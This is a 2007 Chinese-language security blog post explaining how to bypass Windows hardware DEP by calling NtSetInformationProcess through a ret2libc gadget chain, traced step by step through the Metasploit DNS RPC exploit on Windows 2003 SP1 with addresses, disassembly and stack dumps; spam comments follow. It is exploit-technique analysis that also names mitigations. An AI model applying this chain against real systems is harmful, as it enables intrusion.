2007年5月24日星期四

[Tips]Bypass Hardware DEP Tips

Author: axis
Date: 2007-04-27
http://www.ph4nt0m.org

DEP(数据执行保护),是windows针对溢出的一种保护措施,分软dep和硬dep,其中硬dep是需要cpu支持的,比较新的处理器一般都支持这个选项,可以在bios里去打开。简单来说,就是堆栈不可执行了,所以一般的在堆栈里执行shellcode的exploit,会攻击失败。

bypass dep也不是新东西了,目前最好的一篇文档是skape和skywing发在uninformed上的一篇。
http://www.uninformed.org/?v=2&a=4&t=txt

这篇文档写的很好,任何想学习或者研究bypass dep的人,都应该去仔细阅读这份文档。

这次由于metasploit里的dns rpc溢出,利用了这种技术,使得绕过硬件dep再次成为了热点,我在这里小结一下。

首先,绕过dep的理论基础是建立在这样一个函数上的。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
NtCurrentProcess()
, // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4



当MEM_EXECUTE_OPTION_ENABLE 设置为 0x2时,则表示禁用NX(Non-Executable) Support. 其中第一个参数可以设置为当前进程。

由于MS的设计原因,导致改函数可以在用户态调用,也就是说在用户态,可以通过调用该函数,来禁用当前进程的NX支持,从而绕过dep。那么调用了一次该函数后,该线程或进程的堆栈空间就是没有DEP保护的了,就可以用来执行shellcode了!

所以通过ret2libc技术,可以在栈里伪造一个frame,来调用这个函数,参数需要我们自己构造,这里的一个弊端就是,因为构造参数的关系,所以不可避免的要有0字节的出现。

以metasploit上的dns rpc溢出为例。分析如下:
在我的2003 sp1上,Ntdll!ZwSetInformationProcess函数如下:

7C951E58 > B8 ED000000 MOV EAX,0ED ;ZwSetInformationProcess
7C951E5D BA 0003FE7F MOV EDX
,7FFE0300
7C951E62 FF12 CALL DWORD PTR DS
:[EDX]
7C951E64 C2
1000 RETN 10



首先,发送payload,覆盖到栈底,触发异常,此时seh被覆盖,跳转地址到0x769c2566
栈内为:

0138FD4C 77674345 OLEAUT32.77674345
0138FD50 306A3246 指向下一个 SEH 记录的指针
0138FD54 769C2566 SE处理程序
0138FD58 6D587277



跳转后:

769C2566 |. 81C5 AC050000 ADD EBP,5AC
769C256C
|. C9 LEAVE
769C256D \
. C2 1400 RETN 14



这里,add ebp/leave/retn 是另外一种覆盖seh的利用方法,也是很早就有人提出来了。因为如果用 pop/pop/retn的方式,会跳到seh的前4字节,在这里这个空间显然不够我们做许多事情,而使用add ebp的方式,则可以跳到shellcode里,利用的空间比较大。具体情况具体分析。

leave指令执行后,栈内的情况

ESP ==> > 769C1DA7 ATL.769C1DA7
ESP
+4 > 79427552
ESP
+8 > 59387453
ESP
+C > 67416569
ESP
+10 > 64755647
ESP
+14 > 50366935
ESP
+18 > 000000ED



这样,将去执行0x769c1da7处的代码,该处代码为

769C1DA7 |. 5E POP ESI
769C1DA8 \
. C3 RETN



这样,实际上,就将esi的内容,变成了0xed. 注意这里0xed是我们需要的调用号,已经带有0字节了。

当0x769c1da8处准备retn时,栈内的情况:

ESP ==> > 769C1DA4 ATL.769C1DA4
ESP
+4 > 7FFE0300
ESP
+8 > 374E6E49
ESP
+C > 769C109C ATL.769C109C
ESP
+10 > 49703552
ESP
+14 > FFFFFFFF
ESP
+18 > 00000022
ESP
+1C > 7FFE0270
ESP
+20 > 00000004
ESP
+24 > 66686561



也就是说,会返回到 0x769c1da4去执行代码,我们看看该处的代码:


769C1DA4 |. 59 POP ECX
769C1DA5
|. 8BC6 MOV EAX,ESI
769C1DA7
|. 5E POP ESI
769C1DA8 \
. C3 RETN



首先将ecx的内容改为 0x7ffe0300
然后将esi的内容mov到eax中,注意前面将esi的内容改成了 0xed,所以实际上就将eax改为了0xed
接下来pop esi,这个无关紧要,再返回到 769C109C


769C109C |. FF11 CALL DWORD PTR DS:[ECX]


这时候比对我们上面所执行的所有代码,实际上就是执行了ZwSetInformationProcess处的代码,最后已经执行到call [ecx]来了.
实际上就是


mov eax,0xed ; 让eax为 0xed
call [
0x7ffe0300] ;执行0x7ffe0300处地址的指令


那么根据前面的理论,在调用这个函数时,需要的几个参数,是要自己构造的,看看栈里的情况


ESP ==> > 49703552 ;无关紧要
ESP
+4 > FFFFFFFF ; 当前进程 NtCurrentProcess()
ESP
+8 > 00000022 ; 0x22 ProcessExecuteFlags
ESP
+C > 7FFE0270 ; 指向 0x2的指针 &ExecuteFlags
ESP
+10 > 00000004 ; 4字节 sizeof(ExecuteFlags)


所以我们就伪造了一个栈帧来执行这个函数,执行完之后,当前的线程就禁用了DEP保护,就可以在栈里执行shellcode代码了。

我们继续跟. 0x7ffe0300处为0x7C95ED50


7C95ED50 > 8BD4 MOV EDX,ESP
7C95ED52 0F34 SYSENTER
7C95ED54
> C3 RETN


SYSENTER后,


769C109E |> \85FF TEST EDI,EDI ; 此时 edi为0
769C10A0
|. 74 06 JE SHORT ATL.769C10A8
769C10A2
|. 8B07 MOV EAX,DWORD PTR DS:[EDI]

. . . . . .

769C10A8
|> \8B06 MOV EAX,DWORD PTR DS:[ESI]
769C10AA
|. 5F POP EDI
769C10AB
|> 5E POP ESI
769C10AC \
. C2 0C00 RETN 0C


还记得前面我们有个pop esi的操作吗,那时候我们随便pop了一个地址到esi去,所以在这里的mov操作,会导致异常,因为esi不可读。这样会跳到seh去

经过 add ebp/leave后,将返回到0x769d35bf,该处的内容是 \xff\xe4 ,也就是jmp esp。


0138FB00 CC INT3
0138FB01 CC INT3
0138FB02 CC INT3
0138FB03 CC INT3
0138FB04 CC INT3
0138FB05 CC INT3
0138FB06 CC INT3
0138FB07 CC INT3



最后,我们就成功在栈内执行shellcode了!

这种ret2libc的核心思想,就是去模拟ZwSetInformationProcess的执行,同时要伪造栈帧以传入指定的参数。我曾经用过类似的方法来绕过Redhat下的exec-shield.

不过这种方法受到0字节的约束。

skape在他的paper里列举了另外一个方法。因为在ntdll.dll里有这么一个地方:


7C96E413 C745 FC 0200000>MOV DWORD PTR SS:[EBP-4],2
7C96E41A 6A
04 PUSH 4
7C96E41C 8D45 FC LEA EAX
,DWORD PTR SS:[EBP-4]
7C96E41F
50 PUSH EAX
7C96E420 6A
22 PUSH 22
7C96E422 6A FF PUSH
-1
7C96E424 E8 2F3AFEFF CALL ntdll
.ZwSetInformationProcess
7C96E429
^ E9 4775FFFF JMP ntdll.7C965975


那么如果能够直接调用到这里来,就禁用了NX了。skape在他的paper里找了一连串地址,最后跳到这里来了,他的平台应该是xp sp2。我这里列的2003 sp1里的情况,直接用这个地址就可以了。有兴趣的可以去看skape的paper。

还有个限制就是此处是在ntdll.dll里的,前面提到了在利用过程的时候,很可能无法跳到ntdll.dll来。

使用skape的方法,可以避免0字节的问题。

最后,skape还总结了bypass dep的利用条件:
1. 没有ASLR( Address Space Layout Randomization ),也就是dll的加载地址不要随机变化

2. 能够在用户态禁用当前线程或进程的NX

3. 能够构造fake frame传入参数。

前面两点的修补方案很显然,加入ASLR;只有内核态才能禁用进程的NX;第三点则是和漏洞有关了。

以上是一点总结,希望能对某些人有点帮助,也感谢emm对我的帮助。

2 条评论:

匿名 说...

Bon March¨¦Chaussure PumaChaussure Sports Shop:baskets pumaChaussure Puma Femme,Chaussure Puma Homme,Chaussure Nike Femme,Chaussure Nike homme,chaussures nikeChaussure Sport et plus. Livraison Rapide.Thank you so much!!cheap polo shirts men'ssweate,Burberry Polo Shirts lacoste sweater, ralph lauren Columbia Jackets,ski clothing. Free Shipping, PayPal Payment. Enjoy your shopping experience on mensclothingus.com.You can find the father who desire fashionable, intellectual mens clothing simultaneouslylesale China Wholesalers

匿名 说...

nike shoes & Puma Shoes Online- tn nike, cheap nike shox, puma cat, baskets puma, air max.cheap nike shox r4 torch, cheap nike air, nike running shoes air max, puma speed and more. Paypal payment.nike running shoes Enjoy your shopping experience on Nike & Puma Shoes Online Store.